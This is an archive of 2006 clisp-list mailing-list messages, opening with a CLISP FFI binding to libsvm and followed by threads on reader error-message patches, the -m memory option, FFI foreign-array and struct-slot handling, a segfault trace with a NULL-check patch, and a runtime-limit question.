svm_parameter (svm_type int) (kernel_type int) (degree int) ; for poly (gamma double-float) ; for poly/rbf/sigmoid (coef0 double-float) ; for poly/sigmoid ;; these are for training only (cache_size double-float) ; in MB (eps double-float) ; stopping criteria (C double-float) ; for C_SVC, EPSILON_SVR and NU_SVR (nr_weight int) ; for C_SVC (weight_label (c-array-ptr int)) ; for C_SVC (weight (c-array-ptr double-float)) ; for C_SVC (nu double-float) ; for NU_SVC, ONE_CLASS, and NU_SVR (P double-float) ; for EPSILON_SVR (shrinking int) ; use the shrinking heuristics (probability int)) ; do probability estimates (def-c-type svm_model c-pointer) (def-call-out svm_train (:library svm-so) (:arguments (problem (c-ptr svm_problem)) (param (c-ptr svm_parameter))) (:return-type svm_model)) (ffi:def-call-out %svm_cross_validation (:name "svm_cross_validation") (:arguments (problem (c-ptr svm_problem)) (param (c-ptr svm_parameter)) (nr_fold int) (target c-pointer)) (:return-type nil) (:library svm-so)) (defun svm_cross_validation (problem param nr_fold) (with-foreign-object (target `(c-array double-float ,(svm_problem-l problem))) (%svm_cross_validation problem param nr_fold (foreign-address target)) (foreign-value target))) (def-call-out svm_save_model (:library svm-so) (:arguments (model_file_name c-string) (model svm_model)) (:return-type int)) (def-call-out svm_load_model (:library svm-so) (:arguments (model_file_name c-string)) (:return-type svm_model)) (def-call-out svm_get_svm_type (:library svm-so) (:arguments (model svm_model)) (:return-type int)) (def-call-out svm_get_nr_class (:library svm-so) (:arguments (model svm_model)) (:return-type int)) (ffi:def-call-out %svm_get_labels (:library svm-so) (:name "svm_get_labels") (:arguments (model svm_model) (label c-pointer)) (:return-type nil)) (defun svm_get_labels (model) (with-foreign-object (label `(c-array int ,(svm_get_nr_class model))) (%svm_get_labels model (foreign-address label)) (foreign-value label))) (def-call-out svm_get_svr_probability (:library svm-so) (:arguments (model svm_model)) (:return-type double-float)) (ffi:def-call-out %svm_predict_values1 (:name "svm_predict_values") (:arguments (model svm_model) (x (c-array-ptr svm_node)) (dec_values (c-ptr double-float) :out)) (:return-type nil) (:library svm-so)) (ffi:def-call-out %svm_predict_values2 (:name "svm_predict_values") (:arguments (model svm_model) (x (c-array-ptr svm_node)) (dec_values c-pointer)) (:return-type nil) (:library svm-so)) (defun svm_predict_values (model x) (case (svm_get_svm_type model) ((ONE_CLASS EPSILON_SVR NU_SVR) (%svm_predict_values1 model x)) (t (let* ((nr_class (svm_get_nr_class model)) (len (/ (* nr_class (1- nr_class)) 2))) (with-foreign-object (dec_values `(c-array double-float ,len)) (%svm_predict_values2 model x (foreign-address dec_values)) (foreign-value dec_values)))))) (def-call-out svm_predict (:library svm-so) (:arguments (model svm_model) (x (c-ptr svm_node))) (:return-type double-float)) (ffi:def-call-out %svm_predict_probability (:name "svm_predict_probability") (:arguments (model svm_model) (x (c-array-ptr svm_node)) (prob_estimates c-pointer)) (:return-type double-float) (:library svm-so)) (defun svm_predict_probability (model x) (with-foreign-object (prob_estimates `(c-array int ,(svm_get_nr_class model))) (%svm_predict_probability model x (foreign-address prob_estimates)) (foreign-value prob_estimates))) (def-call-out svm_destroy_model (:library svm-so) (:arguments (model svm_model)) (:return-type nil)) (def-call-out svm_destroy_param (:library svm-so) (:arguments (param (c-ptr svm_parameter))) (:return-type nil)) (def-call-out svm_check_parameter (:library svm-so) (:arguments (problem (c-ptr svm_problem)) (param (c-ptr svm_parameter))) (:return-type c-string)) (def-call-out svm_check_probability_model (:library svm-so) (:arguments (model svm_model)) (:return-type int)) ;;; high-level helpers (defun alist-to-nodes (alist) ;; ((index . value) ...) --> ;; C [index;value]...[-1;*] (let* ((len (length alist)) (ret (allocate-shallow 'svm_node :count (1+ len)))) (with-c-place (v ret) (loop :for i :upfrom 0 :for (index . value) :in alist :do (setf (svm_node-index (element v i)) index (svm_node-value (element v i)) value)) (setf (svm_node-index (element v len)) -1)) (foreign-value ret))) (pushnew :libsvm *features*) (provide "libsvm") (pushnew "LIBSVM" custom:*system-package-list* :test #'string=) (setf (ext:package-lock "LIBSVM") t) From Bernard.Urban@meteo.fr Tue Sep 19 00:25:49 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GPZzJ-0002ut-46 for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 00:25:49 -0700 Received: from cadillac.meteo.fr ([137.129.1.4]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GPZzH-0003Yg-GQ for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 00:25:49 -0700 Received: from localhost (cadillac.meteo.fr [127.0.0.1]) by cadillac.meteo.fr (Postfix) with ESMTP id 92029D40EC; Tue, 19 Sep 2006 07:25:38 +0000 (UTC) Received: from cadillac.meteo.fr ([127.0.0.1]) by localhost (amavisd.meteo.fr [127.0.0.1]) (amavisd-new, port 10023) with ESMTP id 07028-08; Tue, 19 Sep 2006 07:25:38 +0000 (UTC) Received: from montaillou.dso.meteo.fr (montaillou.dso.meteo.fr [137.129.94.172]) by cadillac.meteo.fr (Postfix) with ESMTP id 5A51AD4018; Tue, 19 Sep 2006 07:25:38 +0000 (UTC) To: Sam Steingold From: Bernard Urban Gcc: nnml:mail.copie Date: Tue, 19 Sep 2006 09:25:24 +0200 In-Reply-To: <45057C52.8020309@gnu.org> (Sam Steingold's message of "Mon, 11 Sep 2006 11:10:10 -0400") Message-ID: User-Agent: Gnus/5.1007 (Gnus v5.10.7) References: <17666.5453.600981.1586 17@thalassa.informatimago.com> <45057C52.8020309@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Virus-Scanned: amavisd-new at meteo.fr X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] set-dispatch-macro-character and recursive read weirdness X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Sep 2006 07:25:49 -0000 Sam Steingold writes: [...] > does this patch make the message better? (it's against CVS head) > > --- io.d 11 Sep 2006 06:01:06 -0400 1.296 > +++ io.d 11 Sep 2006 11:06:10 -0400 > @@ -2223,6 +2223,14 @@ > GETTEXT("~S: the value of ~S has been arbitrarily altered > to ~S")); > } > > +local object check_read_reference_table (void) { > + var object val = Symbol_value(S(read_reference_table)); > + if (boundp(val)) return val; > + pushSTACK(S(read)); pushSTACK(S(read_reference_table)); > + pushSTACK(TheSubr(subr_self)->name); > + fehler(error,GETTEXT("~S: symbol ~S is not bound, it appears that > top-level ~S was called with a non-NIL recursive-p argument")); > +} > + > /* UP: disentangles #n# - References to #n= - markings in an Object. > > value of SYS::*READ-REFERENCE-TABLE*: > Alist of Pairs (marking . marked Object), where > @@ -2230,7 +2238,7 @@ > > obj: Object > < result: destructively modified Object without References */ > local object make_references (object obj) { > - var object alist = Symbol_value(S(read_reference_table)); > + var object alist = check_read_reference_table(); > # SYS::*READ-REFERENCE-TABLE* = NIL -> nothing to do: > if (nullp(alist)) { > return obj; > @@ -3652,7 +3660,7 @@ > } > # n is an Integer >=0. > var object alist = # value of SYS::*READ-REFERENCE-TABLE* > - Symbol_value(S(read_reference_table)); > + check_read_reference_table(); > # Execute (assoc n alist :test #'read-label-equal): > var bool smallp = small_read_label_integer_p(n); > var object label = (smallp ? > make_small_read_label(posfixnum_to_V(n)) : nullobj); > Sorry for the delay testing this patch; but yes, it works (against CVS from 18 September, be sure to augment the offset when patching) and gives a perfect error message ! Thanks. -- Bernard Urban From pjb@informatimago.com Tue Sep 19 02:35:56 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GPc1E-0007Eb-2y for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 02:35:56 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GPc1C-0000ej-3Q for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 02:35:55 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id E34E3586A7; Tue, 19 Sep 2006 11:35:46 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 7CC5A585D4; Tue, 19 Sep 2006 11:35:41 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 49E2F9006; Tue, 19 Sep 2006 11:35:41 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17679.47597.147773.608453@thalassa.informatimago.com> Date: Tue, 19 Sep 2006 11:35:41 +0200 To: Lei Tang In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] the meaning of "-m" option? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Sep 2006 09:35:56 -0000 Lei Tang writes: > What's the meaning of "-m" option for CLISP? Based on the FAQ, it "sets= =20 > the amount of memory CLISP" tries to grab on startup". So If I set the=20 > memory size to 3mb, then CLisp will just use 3mb to run the code? Or=20 > will it automatically increase memory size during the exection? It will automatically increase memory size during the execution. -m is basically useless nowadays, at least on Linux where it's ignored. --=20 __Pascal Bourguignon__ http://www.informatimago.com/ "Debugging? Klingons do not debug! Our software does not coddle the weak." From lisp-clisp-list@m.gmane.org Tue Sep 19 05:58:31 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GPfBH-0000bw-A0 for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 05:58:31 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GPfBE-0000tr-Tr for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 05:58:31 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GPfAm-00013o-3L for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 14:58:00 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 19 Sep 2006 14:58:00 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 19 Sep 2006 14:58:00 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Tue, 19 Sep 2006 08:57:19 -0400 Lines: 11 Message-ID: <450FE92F.1030107@gnu.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] the meaning of "-m" option? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Sep 2006 12:58:31 -0000 Lei Tang wrote: > What's the meaning of "-m" option for CLISP? Based on the FAQ, it "sets > the amount of memory CLISP" tries to grab on startup". So If I set the > memory size to 3mb, then CLisp will just use 3mb to run the code? Or > will it automatically increase memory size during the exection? it's useful to tell CLISP that it will be needing a lot of memory. see also : If you really do need more Lisp stack, you can increase it by telling CLISP to pre-allocate more memory From sds@gnu.org Tue Sep 19 10:05:39 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GPj2R-0000PW-J3 for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 10:05:39 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GPj2M-0003m8-Je for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 10:05:39 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A3554C00BE; Tue, 19 Sep 2006 13:05:25 -0400 Message-ID: <45102354.2050409@gnu.org> Date: Tue, 19 Sep 2006 13:05:24 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.5 (X11/20060808) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net, Joerg-Cyril.Hoehle@t-systems.com References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] ffi & libsvm X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Sep 2006 17:05:39 -0000 Sam Steingold wrote: > I am trying to write an FFI module interface to libsvm > http://www.csie.ntu.edu.tw/~cjlin/libsvm/ > the untested code is appended for comments. > Specifically, why doesn't this work: > > (defun alist-to-nodes (alist) > ;; ((index . value) ...) --> > ;; C [index;value]...[-1;*] > (let* ((len (length alist)) > (ret (allocate-shallow 'svm_node :count (1+ len)))) > (with-c-place (v ret) > (loop :for i :upfrom 0 :for (index . value) :in alist :do > (setf (svm_node-index (element v i)) index > (svm_node-value (element v i)) value)) > (setf (svm_node-index (element v len)) -1)) > (foreign-value ret))) > > Joerg, is your patch adding :COUNT to WITH-FOREIGN-OBJECT ready? > I thing it would come handy in several functions in this module. I fixed alist-to-nodes, but I don't see a way to put its return value into an svm_problem, i.e., how to convert a foreign variable that points to a #(c-array double-float 4) into something that that would fit into a slot of type #(c-array-ptr double-float): (def-c-struct svm_problem (l int) ; number of records (y (c-array-ptr double-float)) ; of length l (targets) (x (c-array-ptr (c-array-ptr svm_node)))) ; of length l (predictors) (defun alist-to-nodes (alist) ;; ((index . value) ...) --> ;; C [index;value]...[-1;*] (let* ((len (length alist)) (ret (allocate-shallow 'svm_node :count (1+ len)))) (with-c-place (v ret) (loop :for i :upfrom 0 :for (index . value) :in alist :do (setf (slot (element v i) 'index) index (slot (element v i) 'value) value)) (setf (slot (element v len) 'index) -1)) ret)) (defun list-to-vector (list) (let* ((len (length list)) (ret (allocate-shallow 'double-float :count len))) (with-c-place (v ret) (loop :for i :upfrom 0 :for value :in list :do (setf (element v i) value))) ret)) (defun load-problem (file &key (out *standard-output*)) ;; load the problem object from a standard libsvm/svmlight problem file; ;; target index:value ... (let ((len 0) y x) (with-open-file (in file) (when out (format out "~&;; ~S(~S): ~:D byte~:P..." 'load-problem file (file-length in)) (force-output out)) (loop :for line = (read-line in nil nil) :while line :unless (or (zerop (length line)) (char= #\# (aref line 0))) :do (incf len) (multiple-value-bind (target pos) (read-from-string line) (push (coerce target 'double-float) y) (push (loop :with index :and value :for colon = (position #\: line :start pos) :while colon :do (multiple-value-setq (index pos) (parse-integer line :start pos :end colon)) (multiple-value-setq (value pos) (read-from-string line t nil :start (1+ colon))) :collect (cons (coerce index 'integer) (coerce value 'double-float))) x))) (when out (format out "~:D record~:P~%" len))) (let ((ret (allocate-shallow 'svm_problem))) (setf (slot (foreign-value ret) 'l) len (slot (foreign-value ret) 'y) (list-to-vector (nreverse y)) ; FIXME (slot (foreign-value ret) 'x) (alist-to-nodes (nreverse x))) ; FIXME ret))) From lisp-clisp-list@m.gmane.org Tue Sep 19 11:59:52 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GPkoy-0002pN-Ho for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 11:59:52 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GPkow-0004sI-Ty for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 11:59:52 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GPkny-0000FS-Cv for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 20:58:51 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 19 Sep 2006 20:58:50 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 19 Sep 2006 20:58:50 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Tue, 19 Sep 2006 14:58:15 -0400 Lines: 65 Message-ID: <45103DC7.9020103@gnu.org> References: <45102354.2050409@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) In-Reply-To: <45102354.2050409@gnu.org> Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Cc: Joerg-Cyril.Hoehle@t-systems.com Subject: Re: [clisp-list] ffi & libsvm X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Sep 2006 18:59:52 -0000 > (slot (foreign-value ret) 'y) (list-to-vector (nreverse y)) > ; FIXME > (slot (foreign-value ret) 'x) (alist-to-nodes (nreverse > x))) ; FIXME when I write (setf (slot (foreign-value ret) 'y) (foreign-value (list-to-vector (nreverse y)))) instead, I get a segfault: Program received signal SIGSEGV, Segmentation fault. 0x0818584d in DF_to_c_double (obj={one_o = 562168454}, val_=0x0) at flo_konv.d:598 598 val_->eksplicit = val; (gdb) p val $1 = {mlo = 0, semhi = 1072693248} (gdb) p val_ $2 = (dfloatjanus *) 0x0 (gdb) up #1 0x081b8f77 in convert_to_foreign (fvd={one_o = 136721950}, obj= {one_o = 562168454}, data=0x0, converter_malloc=0x81bb1fc ) at foreign.d:1968 1968 DF_to_c_double(obj,pdata); (gdb) list 1963 FF_to_c_float(obj,pdata); 1964 return; 1965 } else if (eq(fvd,S(double_float))) { 1966 var dfloatjanus* pdata = (dfloatjanus*) data; 1967 if (!double_float_p(obj)) goto bad_obj; 1968 DF_to_c_double(obj,pdata); 1969 return; 1970 } else if (eq(fvd,S(boolean))) { 1971 var int* pdata = (int*)data; 1972 if (nullp(obj)) (gdb) p data $3 = (void *) 0x0 clearly, there should be a check for NULL data, at least this: --- foreign.d 08 Sep 2006 06:01:08 -0400 1.158 +++ foreign.d 19 Sep 2006 14:56:41 -0400 @@ -19,6 +19,12 @@ fehler(error,GETTEXT("~S: argument is not a foreign object: ~S")); } +/* complain about NULL address */ +nonreturning_function(local, fehler_null, (object fvd, object obj)) { + pushSTACK(fvd); pushSTACK(obj); pushSTACK(TheSubr(subr_self)->name); + fehler(error,GETTEXT("~S: trying to write object ~S of type ~S into NULL address")); +} + /* Allocate a foreign address. make_faddress(base,offset) > base: base address @@ -1850,6 +1856,7 @@ global maygc void convert_to_foreign (object fvd, object obj, void* data, converter_malloc_t converter_malloc) { + if (NULL == data) fehler_null(fvd,obj); check_SP(); check_STACK(); if (symbolp(fvd)) { Jorg? From lisp-clisp-list@m.gmane.org Tue Sep 19 12:44:32 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GPlWC-0007Kd-3A for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 12:44:32 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GPlWB-0003by-Mv for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 12:44:32 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GPlW0-0003k4-3N for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 21:44:20 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 19 Sep 2006 21:44:20 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 19 Sep 2006 21:44:20 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Tue, 19 Sep 2006 15:43:57 -0400 Lines: 55 Message-ID: <4510487D.7000209@gnu.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] Accessing C structures w/ FFI X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Sep 2006 19:44:32 -0000 Hoehle, Joerg-Cyril wrote: > Will wrote: >> (ffi:def-c-struct system_variables >> (n ffi:int) >> (vals (ffi:c-array-ptr ffi:double-float)) >> (dot_vals (ffi:c-array-ptr ffi:double-float))) >> However, (setf (system_variables-n sys_var) 3) fails to >> actually change the value of n. > > Please try (setf (slot sys_var 'n) 3) > > The C struct is not changed because (seft system_variables-n) operates solely on the CLOS instance. What happens is that the C-struct is converted once to a Lisp object. From then on you are in the Lisp world. Changes are not reflected to the C world. > > To affect the C world, you must strictly stick to the concept of foreign places. > sys_var denotes a place > (ffi:slot sys_var) denotes a place > (identity sys_var) denotes a CLOS instance, converted from the foreign struct > (system_variables-n sys_var) denotes a Lisp object, similarly. clisp docs must be lying then (slot-value is equivalent to system_variables-n): Example 31.2. external C variable and some accesses struct bar { short x, y; char a, b; int z; struct bar * n; }; extern struct bar * my_struct; my_struct->x++; my_struct->a = 5; my_struct = my_struct->n; corresponds to (def-c-struct bar (x short) (y short) (a char) (b char) ; or (b character) if it represents a character, not a number (z int) (n (c-ptr bar))) (def-c-var my_struct (:type (c-ptr bar))) (setq my_struct (let ((s my_struct)) (incf (slot-value s 'x)) s)) or (incf (slot my_struct 'x)) (setq my_struct (let ((s my_struct)) (setf (slot-value s 'a) 5) s)) or (setf (slot my_struct 'a) 5) (setq my_struct (slot-value my_struct 'n)) or (setq my_struct (deref (slot my_struct 'n))) From lisp-clisp-list@m.gmane.org Tue Sep 19 13:33:34 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GPmHe-0003PY-La for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 13:33:34 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GPmHc-00013T-Ni for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 13:33:34 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GPmHF-0005xt-Eq for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 22:33:10 +0200 Received: from en4028117.dhcp.asu.edu ([149.169.176.38]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 19 Sep 2006 22:33:09 +0200 Received: from L.Tang by en4028117.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 19 Sep 2006 22:33:09 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Lei Tang Date: Tue, 19 Sep 2006 13:32:32 -0700 Lines: 8 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: en4028117.dhcp.asu.edu User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716) X-Accept-Language: en-us, en Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Is there any memory or time limit to run lisp code? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Sep 2006 20:33:34 -0000 My program, which tries to solve a problem in large search space, just failed. I use lisp in a box. The only ouput is Evaluation aborted after a long time run. I guess there's some bug with the code, but it works fine for smaller scenario. So I am wondering whether or not there's any constraint to run the lisp code in CLISP? Just in case. Thanks! -Lei From lisp-clisp-list@m.gmane.org Tue Sep 19 13:45:59 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GPmTe-0004ZI-W2 for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 13:45:59 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GPmTc-0000ej-Cv for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 13:45:58 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GPmTA-0000VE-Ko for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 22:45:28 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 19 Sep 2006 22:45:28 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 19 Sep 2006 22:45:28 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Tue, 19 Sep 2006 16:44:21 -0400 Lines: 13 Message-ID: <451056A5.5090806@gnu.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) 